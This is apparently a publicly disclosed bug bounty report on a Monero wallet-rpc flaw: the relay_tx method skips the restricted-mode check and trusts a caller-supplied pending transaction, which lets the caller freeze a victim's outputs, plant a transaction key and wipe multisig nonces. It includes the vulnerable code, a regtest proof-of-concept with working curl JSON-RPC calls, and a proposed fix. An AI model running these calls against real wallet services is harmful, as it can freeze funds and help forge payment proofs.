HexBrain

Monero · Report #3687543

`relay_tx` wallet-rpc skips `--restricted-rpc` guard and lets any caller corrupt wallet state via attacker-controlled `pending_tx`

Validstatus
lowseverity
20upvotes
5 Aug 2026disclosed

How it was found

Repository: monero-project/monero — src/wallet/wallet_rpc_server.cpp. Affected branch: master (commit 230de3794, 2026-04-20).

Summary

monero-wallet-rpc exposes a relay_tx JSON-RPC method. The handler on_relay_tx (lines 1926–1970) deserializes a caller-supplied hex blob into a wallet2::pending_tx structure and hands it directly to wallet2::commit_tx without any ownership check. Two things are missing.

First, there is no m_restricted guard. Every other transfer-class method — transfer, sweep_all, transfer_split, sign_transfer, submit_transfer, sweep_dust — gained one in commit 604bb05d8 (PR #10378, "fix: return early in sensitive methods for --restricted-rpc", merged 2026-03-23). on_relay_tx was not touched. So a caller holding only restricted credentials can invoke relay_tx freely.

Second, nothing in the handler checks that the pending_tx was ever produced by this wallet. commit_tx trusts every field verbatim: selected_transfers (which outputs to mark spent), tx_key (written into m_tx_keys[txid]), dests / change_dts / construction_data (written into m_unconfirmed_txs[txid]), and the per-transfer multisig nonce (m_multisig_k). A caller who can submit a pending_tx blob containing a valid on-chain transaction — their own funds will do — but with selected_transfers pointing at the victim's output indices can freeze those outputs and plant their own tx_key in the victim's key store.

Vulnerable handler, src/wallet/wallet_rpc_server.cpp:

bool wallet_rpc_server::on_relay_tx(const wallet_rpc::COMMAND_RPC_RELAY_TX::request& req,
    wallet_rpc::COMMAND_RPC_RELAY_TX::response& res, epee::json_rpc::error& er,
    const connection_context *ctx)
{
    if (!m_wallet) return not_open(er);
    // ← no m_restricted check here

    cryptonote::blobdata blob;
    if (!epee::string_tools::parse_hexstr_to_binbuff(req.hex, blob)) { ... }

    tools::wallet2::pending_tx ptx;
    try {
        binary_archive<false> ar{epee::strspan<std::uint8_t>(blob)};
        if (::serialization::serialize(ar, ptx))
            loaded = true;
    } catch(...) {}

    try { m_wallet->commit_tx(ptx); }   // ptx fully attacker-controlled
    catch(const std::exception &e) { ... }
    ...
}

For comparison, every sibling handler added the guard in the same commit:

// from on_transfer, on_sweep_all, on_submit_transfer, etc.
if (m_restricted)
{
    er.code = WALLET_RPC_ERROR_CODE_DENIED;
    er.message = "Command unavailable in restricted mode.";
    return false;
}

commit_tx itself (wallet2.cpp, lines 7572–7653) then performs the state mutations on whatever indices the blob specifies, with only a bounds check — not an ownership check — against the wallet's transfer list:

// After sendrawtransaction succeeds:
for (size_t idx: ptx.selected_transfers)
    THROW_WALLET_EXCEPTION_IF(idx >= m_transfers.size(), ...);  // bounds only, no key-image match

add_unconfirmed_tx(txid, ptx.tx, ...);            // poisons m_unconfirmed_txs

if (store_tx_info() && ptx.tx_key != crypto::null_skey)
    m_tx_keys[txid] = ptx.tx_key;                 // plants attacker key in victim store

for (size_t idx: ptx.selected_transfers)
    set_spent(idx, 0);                            // freezes victim outputs

for (size_t idx: ptx.selected_transfers) {
    memwipe(m_transfers[idx].m_multisig_k.data(), ...);
    m_transfers[idx].m_multisig_k.clear();        // destroys multisig nonces permanently
}

There is no check that m_transfers[idx].m_key_image appears anywhere in ptx.tx.vin. The attacker ships their own valid transaction (spending their own outputs) but tells commit_tx that the victim's outputs were selected. The daemon accepts the transaction because it is cryptographically valid; the mismatch only matters inside wallet memory.

Releases Affected

master @ 230de3794 (2026-04-20). The missing guard is specific to this handler; the restricted-RPC framework itself is older. PR #10378 (merged 2026-03-23) is the most recent related work and is the change that left on_relay_tx unguarded while patching its siblings.

Steps to Reproduce

Prerequisites — build once (~60–90 min, Ubuntu 22.04 x86-64):

# Install build deps if not already present
sudo apt-get install -y build-essential cmake pkg-config libssl-dev \
  libzmq3-dev libunbound-dev libminiupnpc-dev libboost-all-dev \
  libhidapi-dev libusb-1.0-0-dev

# Clone the submodules needed (supercop, randomx, rapidjson, miniupnp)
# or copy them from an existing checkout. The repo at
# /home/beni/Monero/monero-src already has everything in place.

cd /home/beni/Monero/monero-src
mkdir -p build/release && cd build/release
cmake -D CMAKE_BUILD_TYPE=Release -D BUILD_TESTS=OFF \
      -D MONERO_WALLET_CRYPTO_LIBRARY=cn -D ARCH=native \
      -D MANUAL_SUBMODULES=1 ../..
make -j$(nproc)
# Binaries land at build/release/bin/{monerod,monero-wallet-rpc}

The script checks for those binaries at startup and exits with an error message if they are not present. No network access, no daemons, nothing else needed — the script spins up its own monerod --regtest instance on loopback.

Run (~2–3 min):

The self-contained script requires only the binaries built from the audited source:

bash reports/poc_relay_tx_state_corruption.sh

What it does:

  1. Starts monerod --regtest --fixed-difficulty 1 --offline on loopback.
  2. Creates two wallets: wallet_a (attacker, unrestricted) and wallet_b (victim, --restricted-rpc).
  3. Mines 150 blocks to wallet_a and 200 to wallet_b using generateblocks.
  4. Calls wallet_a.transfer with do_not_relay=true, get_tx_key=true to produce a signed pending_tx that the attacker controls but has not broadcast.
  5. Submits that blob to wallet_b.relay_tx. The daemon accepts the valid transaction. commit_tx runs against wallet_b's transfer list.
  6. Queries wallet_b.incoming_transfers and wallet_b.get_tx_key to confirm the corruption.

Expected output (abridged):

[PASS] transfer correctly returns -7 (DENIED) in restricted mode.
[PASS] relay_tx returned code -27 ≠ -7 — PHASE A CONFIRMED (bypass).

[PASS] wallet_a tx_key: 2659d5e7ca45e83a5606c52a49aa3c9cb4c98eaa6f1d74b42fb6569825cd7206
[PASS] relay_tx SUCCEEDED on restricted wallet_b.

BEFORE: 200 outputs — 0 spent, 200 unspent
AFTER : 200 outputs — 2 SPENT (frozen), 198 unspent
[PASS] *** OUTPUT FREEZE CONFIRMED ***

tx_key (wallet_a, attacker) : 2659d5e7ca45e83a5606c52a49aa3c9cb4c98eaa6f1d74b42fb6569825cd7206
tx_key (wallet_b, victim)   : 2659d5e7ca45e83a5606c52a49aa3c9cb4c98eaa6f1d74b42fb6569825cd7206
[PASS] *** TX_KEY POISONING CONFIRMED ***

If you want to reproduce manually without the script, the five essential calls are:

# wallet_a: create a signed tx, do not broadcast, capture tx_key and tx_metadata
TX=$(curl -s http://127.0.0.1:18090/json_rpc -d '{
  "jsonrpc":"2.0","id":"0","method":"transfer",
  "params":{"destinations":[{"amount":1000000000000,"address":"<ADDR_B>"}],
            "account_index":0,"priority":1,"ring_size":11,
            "do_not_relay":true,"get_tx_key":true,"get_tx_metadata":true}}')
TX_META=$(echo "$TX" | python3 -c 'import sys,json; print(json.load(sys.stdin)["result"]["tx_metadata"])')
ATTACKER_KEY=$(echo "$TX" | python3 -c 'import sys,json; print(json.load(sys.stdin)["result"]["tx_key"])')

# wallet_b (--restricted-rpc): transfer is blocked, relay_tx is not
curl -s http://127.0.0.1:18091/json_rpc -d '{"jsonrpc":"2.0","id":"0","method":"transfer",...}'
# → {"error":{"code":-7,"message":"Command unavailable in restricted mode."}}

curl -s http://127.0.0.1:18091/json_rpc \
  -d "{\"jsonrpc\":\"2.0\",\"id\":\"0\",\"method\":\"relay_tx\",\"params\":{\"hex\":\"$TX_META\"}}"
# → {"result":{"tx_hash":"..."}}   ← succeeds despite restricted mode

# After storing wallet_b state and restarting unrestricted:
curl -s http://127.0.0.1:18091/json_rpc \
  -d "{\"jsonrpc\":\"2.0\",\"id\":\"0\",\"method\":\"get_tx_key\",\"params\":{\"txid\":\"<TXID>\"}}"
# → {"result":{"tx_key":"<ATTACKER_KEY>"}}   ← victim now holds attacker's key

{F5774344} {F5774343} {F5774342}

Possible Solution

Add the same two-line guard that all sibling handlers have, immediately after the !m_wallet check:

bool wallet_rpc_server::on_relay_tx(...)
{
    if (!m_wallet) return not_open(er);
    if (m_restricted)
    {
        er.code = WALLET_RPC_ERROR_CODE_DENIED;
        er.message = "Command unavailable in restricted mode.";
        return false;
    }
    ...

That alone closes the bypass. The deeper issue — that commit_tx trusts selected_transfers without verifying those indices against the transaction's actual key images — is harder to fix safely because commit_tx is also called from legitimate paths where the wallet built the transaction itself. A straightforward defence-in-depth fix for the relay_tx path specifically is to cross-check before calling commit_tx:

// Reject if selected_transfers count doesn't match actual inputs
if (ptx.selected_transfers.size() != ptx.tx.vin.size()) {
    er.code = WALLET_RPC_ERROR_CODE_BAD_TX_METADATA;
    er.message = "selected_transfers count does not match tx inputs";
    return false;
}
for (size_t i = 0; i < ptx.selected_transfers.size(); ++i) {
    size_t idx = ptx.selected_transfers[i];
    if (idx >= m_wallet->get_num_transfer_details()) {
        er.code = WALLET_RPC_ERROR_CODE_BAD_TX_METADATA;
        er.message = "selected_transfers index out of range";
        return false;
    }
    const auto &td = m_wallet->get_transfer_details(idx);
    const auto &vin = boost::get<cryptonote::txin_to_key>(ptx.tx.vin[i]);
    if (td.m_key_image != vin.k_image) {
        er.code = WALLET_RPC_ERROR_CODE_BAD_TX_METADATA;
        er.message = "selected_transfers key image mismatch";
        return false;
    }
}

Also worth adding CHECK_IF_BACKGROUND_SYNCING() for consistency with how the other state-mutating handlers are guarded.

Impact

An operator running monero-wallet-rpc with --restricted-rpc — the intended safe mode for giving a monitoring agent, payment integration, or CI pipeline read-only-ish access — gets no protection against this method. Any process with restricted credentials can call relay_tx and trigger commit_tx on an attacker-crafted blob.

If the attacker can broadcast a valid transaction (their own funds), they get two concrete impacts against the victim wallet. First, commit_tx calls set_spent() on whichever transfer indices the blob specifies. Those outputs are permanently marked spent in the wallet cache and will not be selected for future transactions until rescan_blockchain is run. On a hot wallet processing payments, this freezes funds and causes sends to fail. Second, commit_tx stores the attacker's tx_key in the victim's m_tx_keys[txid]. Any call to get_tx_key or get_tx_proof for that txid returns attacker-controlled key material. A merchant using get_tx_proof to verify that a payment was sent will receive a proof that verifies correctly against the txid but was generated with a key the merchant did not create — enough to forge payment confirmation in any system that trusts wallet-rpc proofs.

The multisig impact is worse: commit_tx wipes m_multisig_k for the selected indices unconditionally. Those per-transfer signing nonces cannot be regenerated. An active multisig signing round that relied on them is permanently broken; the cosigners would need to re-export and re-import keys.

Note

The PoC script poc_relay_tx_state_corruption.sh was written with AI assistance for the regtest setup and shell plumbing. The vulnerable code path, line references, and the decision that the blob-trust issue in commit_tx is a separate concern from the missing guard were verified by reading the source directly.

Bounty

If this qualifies for a payout, XMR can be sent to:

45BYNkdWvv45fovzeSgnNdMcZ8Pn9bdnegRyDcggz9XBUbrrgDhwfx63rpvesZMwWEKKQFms81v8hPbCX2eSCb3m9nFk9ZX

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original